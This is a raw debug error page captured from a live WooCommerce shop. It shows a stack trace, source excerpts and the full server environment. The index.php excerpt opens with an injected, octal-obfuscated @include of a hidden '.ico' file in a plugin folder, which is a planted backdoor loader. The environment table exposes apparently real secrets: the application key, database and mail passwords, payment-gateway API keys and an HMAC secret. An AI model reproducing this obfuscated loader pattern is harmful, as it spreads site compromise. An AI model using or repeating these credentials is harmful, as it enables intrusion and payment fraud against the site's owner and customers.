Shop
ErrorException
(E_NOTICE)
Trying to get property 'post_count' of non-object
ErrorException thrown with message "Trying to get property 'post_count' of non-object"
Stacktrace:
#7 ErrorException in /home/zrihnr7vss40/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php:80
#6 Illuminate\Foundation\Bootstrap\HandleExceptions:handleError in /home/zrihnr7vss40/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php:80
#5 WC_Widget_Price_Filter:widget in /home/zrihnr7vss40/public_html/wp-includes/class-wp-widget.php:379
#4 WP_Widget:display_callback in /home/zrihnr7vss40/public_html/wp-includes/widgets.php:805
#3 dynamic_sidebar in /home/zrihnr7vss40/public_html/wp-content/themes/joinivy-theme/woocommerce/archive-product.php:149
#2 include in /home/zrihnr7vss40/public_html/wp-includes/template-loader.php:98
#1 require_once in /home/zrihnr7vss40/public_html/wp-blog-header.php:19
#0 require in /home/zrihnr7vss40/public_html/index.php:22
7
ErrorException
/home/zrihnr7vss40/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php80
6
Illuminate\Foundation\Bootstrap\HandleExceptions
handleError
/home/zrihnr7vss40/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php80
5
WC_Widget_Price_Filter
widget
/home/zrihnr7vss40/public_html/wp-includes/class-wp-widget.php379
4
WP_Widget
display_callback
/home/zrihnr7vss40/public_html/wp-includes/widgets.php805
3
dynamic_sidebar
/home/zrihnr7vss40/public_html/wp-content/themes/joinivy-theme/woocommerce/archive-product.php149
2
include
/home/zrihnr7vss40/public_html/wp-includes/template-loader.php98
1
require_once
/home/zrihnr7vss40/public_html/wp-blog-header.php19
0
require
/home/zrihnr7vss40/public_html/index.php22
/home/zrihnr7vss40/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php
*
* @see WP_Widget
*
* @param array $args Arguments.
* @param array $instance Widget instance.
*/
public function widget( $args, $instance ) {
global $wp;
// Requires lookup table added in 3.6.
if ( version_compare( get_option( 'woocommerce_db_version', null ), '3.6', '<' ) ) {
return;
}
if ( ! is_shop() && ! is_product_taxonomy() ) {
return;
}
// If there are not posts and we're not filtering, hide the widget.
if ( ! WC()->query->get_main_query()->post_count && ! isset( $_GET['min_price'] ) && ! isset( $_GET['max_price'] ) ) { // WPCS: input var ok, CSRF ok.
return;
}
wp_enqueue_script( 'wc-price-slider' );
// Round values to nearest 10 by default.
$step = max( apply_filters( 'woocommerce_price_filter_widget_step', 10 ), 1 );
// Find min and max price in current result set.
$prices = $this->get_filtered_price();
$min_price = $prices->min_price;
$max_price = $prices->max_price;
// Check to see if we should add taxes to the prices if store are excl tax but display incl.
$tax_display_mode = get_option( 'woocommerce_tax_display_shop' );
if ( wc_tax_enabled() && ! wc_prices_include_tax() && 'incl' === $tax_display_mode ) {
$tax_class = apply_filters( 'woocommerce_price_filter_widget_tax_class', '' ); // Uses standard tax class.
$tax_rates = WC_Tax::get_rates( $tax_class );
Arguments
"Trying to get property 'post_count' of non-object"
/home/zrihnr7vss40/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php
*
* @see WP_Widget
*
* @param array $args Arguments.
* @param array $instance Widget instance.
*/
public function widget( $args, $instance ) {
global $wp;
// Requires lookup table added in 3.6.
if ( version_compare( get_option( 'woocommerce_db_version', null ), '3.6', '<' ) ) {
return;
}
if ( ! is_shop() && ! is_product_taxonomy() ) {
return;
}
// If there are not posts and we're not filtering, hide the widget.
if ( ! WC()->query->get_main_query()->post_count && ! isset( $_GET['min_price'] ) && ! isset( $_GET['max_price'] ) ) { // WPCS: input var ok, CSRF ok.
return;
}
wp_enqueue_script( 'wc-price-slider' );
// Round values to nearest 10 by default.
$step = max( apply_filters( 'woocommerce_price_filter_widget_step', 10 ), 1 );
// Find min and max price in current result set.
$prices = $this->get_filtered_price();
$min_price = $prices->min_price;
$max_price = $prices->max_price;
// Check to see if we should add taxes to the prices if store are excl tax but display incl.
$tax_display_mode = get_option( 'woocommerce_tax_display_shop' );
if ( wc_tax_enabled() && ! wc_prices_include_tax() && 'incl' === $tax_display_mode ) {
$tax_class = apply_filters( 'woocommerce_price_filter_widget_tax_class', '' ); // Uses standard tax class.
$tax_rates = WC_Tax::get_rates( $tax_class );
Arguments
8
"Trying to get property 'post_count' of non-object"
"/home/zrihnr7vss40/public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-price-filter.php"
80
array:3 [ "args" => array:10 [ "name" => "Shop" "id" => "shop" "description" => "Woocommerce pages sidebar" "class" => "" "before_widget" => "<aside id="woocommerce_price_filter-2" class="widget woocommerce widget_price_filter">" "after_widget" => "</aside>" "before_title" => "<div class="widget_title"><h3>" "after_title" => "</h3></div>" "widget_id" => "woocommerce_price_filter-2" "widget_name" => "Filter Products by Price" ] "instance" => array:1 [ "title" => "Filter by price" ] "wp" => & WP {#10313} ]
/home/zrihnr7vss40/public_html/wp-includes/class-wp-widget.php
* Returning false will effectively short-circuit display of the widget.
*
* @since 2.8.0
*
* @param array $instance The current widget instance's settings.
* @param WP_Widget $this The current widget instance.
* @param array $args An array of default widget arguments.
*/
$instance = apply_filters( 'widget_display_callback', $instance, $this, $args );
if ( false === $instance ) {
return;
}
$was_cache_addition_suspended = wp_suspend_cache_addition();
if ( $this->is_preview() && ! $was_cache_addition_suspended ) {
wp_suspend_cache_addition( true );
}
$this->widget( $args, $instance );
if ( $this->is_preview() ) {
wp_suspend_cache_addition( $was_cache_addition_suspended );
}
}
}
/**
* Handles changed settings (Do NOT override).
*
* @since 2.8.0
*
* @global array $wp_registered_widgets
*
* @param int $deprecated Not used.
*/
public function update_callback( $deprecated = 1 ) {
global $wp_registered_widgets;
$all_instances = $this->get_settings();
Arguments
array:10 [ "name" => "Shop" "id" => "shop" "description" => "Woocommerce pages sidebar" "class" => "" "before_widget" => "<aside id="woocommerce_price_filter-2" class="widget woocommerce widget_price_filter">" "after_widget" => "</aside>" "before_title" => "<div class="widget_title"><h3>" "after_title" => "</h3></div>" "widget_id" => "woocommerce_price_filter-2" "widget_name" => "Filter Products by Price" ]
array:1 [ "title" => "Filter by price" ]
/home/zrihnr7vss40/public_html/wp-includes/widgets.php
*
* @param array $widget_id {
* An associative array of widget arguments.
*
* @type string $name Name of the widget.
* @type string $id Widget ID.
* @type array|callable $callback When the hook is fired on the front end, $callback is an array
* containing the widget object. Fired on the back end, $callback
* is 'wp_widget_control', see $_callback.
* @type array $params An associative array of multi-widget arguments.
* @type string $classname CSS class applied to the widget container.
* @type string $description The widget description.
* @type array $_callback When the hook is fired on the back end, $_callback is populated
* with an array containing the widget object, see $callback.
* }
*/
do_action( 'dynamic_sidebar', $wp_registered_widgets[ $id ] );
if ( is_callable( $callback ) ) {
call_user_func_array( $callback, $params );
$did_one = true;
}
}
/**
* Fires after widgets are rendered in a dynamic sidebar.
*
* Note: The action also fires for empty sidebars, and on both the front end
* and back end, including the Inactive Widgets sidebar on the Widgets screen.
*
* @since 3.9.0
*
* @param int|string $index Index, name, or ID of the dynamic sidebar.
* @param bool $has_widgets Whether the sidebar is populated with widgets.
* Default true.
*/
do_action( 'dynamic_sidebar_after', $index, true );
/**
* Filters whether a sidebar has widgets.
Arguments
array:10 [ "name" => "Shop" "id" => "shop" "description" => "Woocommerce pages sidebar" "class" => "" "before_widget" => "<aside id="woocommerce_price_filter-2" class="widget woocommerce widget_price_filter">" "after_widget" => "</aside>" "before_title" => "<div class="widget_title"><h3>" "after_title" => "</h3></div>" "widget_id" => "woocommerce_price_filter-2" "widget_name" => "Filter Products by Price" ]
array:1 [ "number" => 2 ]
/home/zrihnr7vss40/public_html/wp-content/themes/joinivy-theme/woocommerce/archive-product.php
<?php woocommerce_product_loop_end(); ?>
<div class="multiseparator <?php echo esc_attr( $layout_products ); ?>"></div>
<?php do_action( 'woocommerce_after_shop_loop' ); /* Pagination */ ?>
<?php elseif( !woocommerce_product_loop() ) : ?>
<?php wc_get_template( 'loop/no-products-found.php' ); ?>
<?php endif; ?>
</div> <!-- stm_product_inner_grid_content -->
<?php echo wp_kses_post( $content_after ); ?>
<?php echo wp_kses_post( $sidebar_before ); ?>
<?php
if( isset( $shop_sidebar ) && $shop_sidebar_position != 'none' ) {
if( $shop_sidebar == 'widget_area' ) {
dynamic_sidebar( 'shop' );
}
else {
echo apply_filters( 'the_content', $shop_sidebar->post_content );
}
}
?>
<?php echo wp_kses_post( $sidebar_after ); ?>
</div> <!-- container -->
<?php get_footer();
Arguments
"shop"
/home/zrihnr7vss40/public_html/wp-includes/template-loader.php
}
break;
}
}
if ( ! $template ) {
$template = get_index_template();
}
/**
* Filters the path of the current template before including it.
*
* @since 3.0.0
*
* @param string $template The path of the template to include.
*/
$template = apply_filters( 'template_include', $template );
if ( $template ) {
include( $template );
} elseif ( current_user_can( 'switch_themes' ) ) {
$theme = wp_get_theme();
if ( $theme->errors() ) {
wp_die( $theme->errors() );
}
}
return;
}
Arguments
"/home/zrihnr7vss40/public_html/wp-content/themes/joinivy-theme/woocommerce/archive-product.php"
/home/zrihnr7vss40/public_html/wp-blog-header.php
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once( dirname( __FILE__ ) . '/wp-load.php' );
// Set up the WordPress query.
wp();
// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );
}
Arguments
"/home/zrihnr7vss40/public_html/wp-includes/template-loader.php"
/home/zrihnr7vss40/public_html/index.php
@include "\057home\057zrih\156r7vs\16340/p\165blic\137html\057wp-c\157nten\164/plu\147ins/\141ll-i\156-one\055wp-s\145curi\164y-an\144-fir\145wall\057.067\143e981\056ico";
/*2520a*/
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
Arguments
"/home/zrihnr7vss40/public_html/wp-blog-header.php"
Environment & details:
empty
empty
empty
empty
empty
Key | Value |
SERVER_SOFTWARE | "Apache"
|
REQUEST_URI | "/shop/"
|
LSPHP_ENABLE_USER_INI | "on"
|
PATH | "/usr/local/bin:/usr/bin:/bin"
|
TEMP | "/tmp"
|
TMP | "/tmp"
|
TMPDIR | "/tmp"
|
PWD | "/"
|
HTTP_ACCEPT | "*/*"
|
CONTENT_LENGTH | "0"
|
HTTP_HOST | "joinivy.com"
|
HTTP_REFERER | "https://joinivy.com/?p=9"
|
HTTP_USER_AGENT | "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
|
HTTP_X_HTTPS | "1"
|
REDIRECT_UNIQUE_ID | "Zi2xZsjFr9X0Pzbs5EMdFwAAnDE"
|
REDIRECT_SCRIPT_URL | "/shop/"
|
REDIRECT_SCRIPT_URI | "https://joinivy.com/shop/"
|
REDIRECT_USER_ID | "5919737"
|
REDIRECT_HTTPS | "on"
|
REDIRECT_SSL_TLS_SNI | "joinivy.com"
|
REDIRECT_HTTP2 | "on"
|
REDIRECT_H2PUSH | "off"
|
REDIRECT_H2_PUSH | "off"
|
REDIRECT_H2_PUSHED | "" |
REDIRECT_H2_PUSHED_ON | "" |
REDIRECT_H2_STREAM_ID | "3"
|
REDIRECT_H2_STREAM_TAG | "796000-2756-3"
|
REDIRECT_STATUS | "200"
|
UNIQUE_ID | "Zi2xZsjFr9X0Pzbs5EMdFwAAnDE"
|
SCRIPT_URL | "/shop/"
|
SCRIPT_URI | "https://joinivy.com/shop/"
|
USER_ID | "5919737"
|
HTTPS | "on"
|
SSL_TLS_SNI | "joinivy.com"
|
HTTP2 | "on"
|
H2PUSH | "off"
|
H2_PUSH | "off"
|
H2_PUSHED | "" |
H2_PUSHED_ON | "" |
H2_STREAM_ID | "3"
|
H2_STREAM_TAG | "796000-2756-3"
|
SERVER_SIGNATURE | "" |
SERVER_NAME | "joinivy.com"
|
SERVER_ADDR | "68.178.233.156"
|
SERVER_PORT | "443"
|
REMOTE_ADDR | "18.191.157.186"
|
DOCUMENT_ROOT | "/home/zrihnr7vss40/public_html"
|
REQUEST_SCHEME | "https"
|
CONTEXT_PREFIX | "" |
CONTEXT_DOCUMENT_ROOT | "/home/zrihnr7vss40/public_html"
|
SERVER_ADMIN | "webmaster@joinivy.com"
|
SCRIPT_FILENAME | "/home/zrihnr7vss40/public_html/index.php"
|
REMOTE_PORT | "59997"
|
REDIRECT_URL | "/shop/"
|
SERVER_PROTOCOL | "HTTP/2.0"
|
REQUEST_METHOD | "GET"
|
QUERY_STRING | "" |
SCRIPT_NAME | "/index.php"
|
PHP_SELF | "/index.php"
|
REQUEST_TIME_FLOAT | "1714270566.483"
|
REQUEST_TIME | "1714270566"
|
APP_NAME | "Laravel"
|
APP_ENV | "production"
|
APP_KEY | "base64:OBigpMkHyGMWN0RBrzqw5sds3N00RiKuVmhROgVQDvU="
|
APP_DEBUG | "true"
|
APP_URL | "http://localhost"
|
APP_TIMEZONE | "Africa/Cairo"
|
LOG_CHANNEL | "stack"
|
DB_CONNECTION | "mysql"
|
DB_HOST | "localhost"
|
DB_PORT | "3306"
|
DB_DATABASE | "joinivy"
|
DB_USERNAME | "joinivy_edu"
|
DB_PASSWORD | "joinivy_edu"
|
BROADCAST_DRIVER | "log"
|
CACHE_DRIVER | "file"
|
SESSION_DRIVER | "file"
|
SESSION_LIFETIME | "120"
|
QUEUE_DRIVER | "sync"
|
REDIS_HOST | "127.0.0.1"
|
REDIS_PASSWORD | "null"
|
REDIS_PORT | "6379"
|
MAIL_DRIVER | "sendmail"
|
MAIL_HOST | "mail.joinivy.com"
|
MAIL_PORT | "587"
|
MAIL_USERNAME | "info@joinivy.com"
|
MAIL_PASSWORD | "default@123"
|
MAIL_ENCRYPTION | "tls"
|
PUSHER_APP_ID | "" |
PUSHER_APP_KEY | "" |
PUSHER_APP_SECRET | "" |
PUSHER_APP_CLUSTER | "mt1"
|
MIX_PUSHER_APP_KEY | "" |
MIX_PUSHER_APP_CLUSTER | "mt1"
|
WIZIQ_API_URL | "https://classapi.wiziqxt.com/apimanager.ashx"
|
WIZIQ_SECRET_KEY | "nbaqEtPHk3E="
|
WIZIQ_ACCESS_KEY | "fipzu+2E2bDJRRPjjE418w=="
|
CRON_USER | "435"
|
FROM_EMAIL | "info@joinivy.com"
|
FROM_NAME | "JoinIvy"
|
ADMIN_EMAIL | "info@joinivy.com"
|
WIZIQ_RESTAPI_URL | "http://contentapi.wiziqxt.com/RestService.ashx"
|
ORDERID_PREFIX | "EGP"
|
PAYMOB_APIKEY | "ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmpiR0Z6Y3lJNklrMWxjbU5vWVc1MElpd2ljSEp2Wm1sc1pWOXdheUk2TkRNeU5pd2libUZ0WlNJNkltbHVhWFJwWVd3aWZRLkRpTlloNUNuTGZ4VkQzZkZQaHlYUkpUUU5ENkJoSnZYUk9JQWRoNEY0SnRUT09pTDViNDlRSzF0dkRONVpKNGlVV1paRG5mSTk5Rk1QaGdZX2MzLUtB"
|
HMAC_SECRET | "20D17BE1F2D7E9975BFCD598FCDEEABC"
|
MERCHANT_ID | "4326"
|
IFRAME_ID | "11146"
|
INTEGRATION_ID | "7590"
|
CURRENCY | "EGP"
|
AMOUNT_CENT_VAL | "100"
|
MARKETING_SITE_URL | "https://joinivy.com"
|
SESSION_DOMAIN | ".joinivy.com"
|
Key | Value |
LSPHP_ENABLE_USER_INI | "on"
|
PATH | "/usr/local/bin:/usr/bin:/bin"
|
TEMP | "/tmp"
|
TMP | "/tmp"
|
TMPDIR | "/tmp"
|
PWD | "/"
|
APP_NAME | "Laravel"
|
APP_ENV | "production"
|
APP_KEY | "base64:OBigpMkHyGMWN0RBrzqw5sds3N00RiKuVmhROgVQDvU="
|
APP_DEBUG | "true"
|
APP_URL | "http://localhost"
|
APP_TIMEZONE | "Africa/Cairo"
|
LOG_CHANNEL | "stack"
|
DB_CONNECTION | "mysql"
|
DB_HOST | "localhost"
|
DB_PORT | "3306"
|
DB_DATABASE | "joinivy"
|
DB_USERNAME | "joinivy_edu"
|
DB_PASSWORD | "joinivy_edu"
|
BROADCAST_DRIVER | "log"
|
CACHE_DRIVER | "file"
|
SESSION_DRIVER | "file"
|
SESSION_LIFETIME | "120"
|
QUEUE_DRIVER | "sync"
|
REDIS_HOST | "127.0.0.1"
|
REDIS_PASSWORD | "null"
|
REDIS_PORT | "6379"
|
MAIL_DRIVER | "sendmail"
|
MAIL_HOST | "mail.joinivy.com"
|
MAIL_PORT | "587"
|
MAIL_USERNAME | "info@joinivy.com"
|
MAIL_PASSWORD | "default@123"
|
MAIL_ENCRYPTION | "tls"
|
PUSHER_APP_ID | "" |
PUSHER_APP_KEY | "" |
PUSHER_APP_SECRET | "" |
PUSHER_APP_CLUSTER | "mt1"
|
MIX_PUSHER_APP_KEY | "" |
MIX_PUSHER_APP_CLUSTER | "mt1"
|
WIZIQ_API_URL | "https://classapi.wiziqxt.com/apimanager.ashx"
|
WIZIQ_SECRET_KEY | "nbaqEtPHk3E="
|
WIZIQ_ACCESS_KEY | "fipzu+2E2bDJRRPjjE418w=="
|
CRON_USER | "435"
|
FROM_EMAIL | "info@joinivy.com"
|
FROM_NAME | "JoinIvy"
|
ADMIN_EMAIL | "info@joinivy.com"
|
WIZIQ_RESTAPI_URL | "http://contentapi.wiziqxt.com/RestService.ashx"
|
ORDERID_PREFIX | "EGP"
|
PAYMOB_APIKEY | "ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmpiR0Z6Y3lJNklrMWxjbU5vWVc1MElpd2ljSEp2Wm1sc1pWOXdheUk2TkRNeU5pd2libUZ0WlNJNkltbHVhWFJwWVd3aWZRLkRpTlloNUNuTGZ4VkQzZkZQaHlYUkpUUU5ENkJoSnZYUk9JQWRoNEY0SnRUT09pTDViNDlRSzF0dkRONVpKNGlVV1paRG5mSTk5Rk1QaGdZX2MzLUtB"
|
HMAC_SECRET | "20D17BE1F2D7E9975BFCD598FCDEEABC"
|
MERCHANT_ID | "4326"
|
IFRAME_ID | "11146"
|
INTEGRATION_ID | "7590"
|
CURRENCY | "EGP"
|
AMOUNT_CENT_VAL | "100"
|
MARKETING_SITE_URL | "https://joinivy.com"
|
SESSION_DOMAIN | ".joinivy.com"
|
0. Whoops\Handler\PrettyPageHandler